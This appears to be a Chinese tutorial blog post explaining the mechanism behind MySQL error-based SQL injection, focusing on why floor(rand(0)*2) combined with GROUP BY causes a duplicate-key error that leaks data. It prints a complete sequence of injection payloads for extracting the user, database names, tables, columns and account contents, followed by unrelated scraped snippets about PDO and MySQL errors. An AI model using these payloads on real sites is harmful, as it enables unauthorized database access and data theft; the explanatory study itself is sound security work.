深入分析MySql 报错注入原理分析

看了一下关于mysql报错注入的技术文章,都是通过类似以下的语句进行注入的。这样的语句被称为公式“公式”,好多小菜都是拿来直接用,不知道为什么会是这样。可是偏偏有我这种二货一定要搞明白这几句。

先来看看注入的全过程:

admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#

爆所有库

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0×27,schema_name,0×27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆当前数据库

username=-99999999999′ and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,hex(cast(database() as char)),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆表

and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,hex(cast(table_name as char)),0×27,0x7e) from information_schema.tables where table_schema=0x64656D6F limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆字段

and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,column_name,0×27,0x7e) from information_schema.columns where table_schema=0x64656D6F and table_name=0×75736572 limit 0,1)) from

information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆内容

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,user.username,0×27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆出内容目的就达到了,这些语句让我最无法理解的就是floor(rand(0)*2)),group by x,完全不知道拿出来是做什么的。

查相关资料在mysql官方介绍中找到答案:
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

意思就是不能再ORDER BY 中使用 RAND() 了。

那就也不能用GROUP BY了。。

用了就会报错了。

admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
a为:concat(floor(rand(0)*2),(select user() limit 0,1))

有rand,后面又出现group by a语句,所以就报错了Duplicate entry ‘root‘ for key ‘group_key’
而这里的“’XXXXXXXXXX”就是 user()的内容,这样就有了用户名。

可以进行如下的测试:
报错的:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–

去掉rand后没有报错:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–

去掉GROUP BY a 后没有报错:
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b–

时间: 2024-08-26 08:31:44

深入分析MySql 报错注入原理分析的相关文章

PDO防注入原理分析以及使用PDO的注意事项总结_php技巧

本文详细讲述了PDO防注入原理分析以及使用PDO的注意事项,分享给大家供大家参考.具体分析如下: 我们都知道,只要合理正确使用PDO,可以基本上防止SQL注入的产生,本文主要回答以下两个问题: 为什么要使用PDO而不是mysql_connect? 为何PDO能防注入? 使用PDO防注入的时候应该特别注意什么?  一.为何要优先使用PDO? PHP手册上说得很清楚:Prepared statements and stored procedures Many of the more mature d

mysql案例:Java程序访问Mysql报错

mysql案例:Java程序访问Mysql报错'OPTION SQL_SELECT_LIMIT=XXX' [环境描述] mysql版本: 5.6.14-56-log Percona Server (GPL) 程序: 使用JDBC驱动mysql-connector-java访问mysql数据库 [报错信息] 程序访问mysql执行SQL语句的时候报错: You have an error in your SQL syntax; check the manual that corresponds t

hadoop-hive连接mysql 报错 readonly server

问题描述 hive连接mysql 报错 readonly server 各位大侠,我搭建了一个hadoop环境,用hive做数据仓库,mysql做hive的元数据仓库,用于定时分析用户数据中的日志文件,但在hive访问mysql的过程中,不定时的报如下错误: java.sql.SQLException: Query returned non-zero code: 1, cause: FAILED: Execution Error, return code 1 from org.apache.ha

javaee hibernate-求助avaee hibernate 项目控制台报错 求帮忙分析下,万分感谢!!

问题描述 求助avaee hibernate 项目控制台报错 求帮忙分析下,万分感谢!! 出现异常时间: [2013年8月9日 15:15:32] org.hibernate.HibernateException: Already disconnectedat com.hiaward.common.util.HibernateUtil.rollbackTransaction(HibernateUtil.java:175) at com.hiaward.common.util.HibernateU

gem-windous环境下 rails 连接mysql 报错

问题描述 windous环境下 rails 连接mysql 报错 用railsinstaller装的环境依赖的ruby rails devkit sqlite3都装过了现在想试试mysqlC:windowssystem32>rails new E:rubykk10 -d mysql Installing mysql2 (0.3.13)Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

windows环境下,ruby 连接mysql 报错

问题描述 windows环境下,ruby 连接mysql 报错 require "D:/ruby-mysql/ruby-mysql-0.2.6/mysql" begin #尝试连接mysql数据库 my = Mysql.connect("localhost","root","123456","test") #连接成功,显示Mysql数据库版本 puts my.get_server_info rescue M

远程连接-Navicat连接mysql报错!!

问题描述 Navicat连接mysql报错!! 用Navicat远程连接数据库是报错,,服务也开启了,请问什么原因 解决方案 Navicat/MySQL Front 操作 MySQL 1577 报错 解决方法 解决方案二: 是用root账号连的么.. 解决方案三: 这个问题是mysql断网下连接产生的? 解决方案四: 远程的服务器的mysql服务打开没? 解决方案五: 确定端口是否正确,有没防火墙(本机连接忽略) 解决方案六: 可能是防火墙的问题,用ping 172.16.80.62命令试下能否

oracle dblink mysql 报错ORA-28500

问题描述 oracle dblink mysql 报错ORA-28500 配置信息如下:求大神支援 支援 支援 重要的事情说三遍 odbc.ini [myodbc5] Driver = /home/oracle/app/myodbc-4.18/lib/libmyodbc5.so Description = MySQL ODBC 5.1 Driver DSN SERVER = localhost PORT = 3306 USER = test Password = test DATABASE =

jdbc-ecplise链接mysql报错

问题描述 ecplise链接mysql报错 connection.driver_class=com.mysql.jdbc.Driver connection.url=jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=UTF-8 connection.username=root connection.password=1234 root 1234 navicat可以登陆的. 严重: Prototype java.s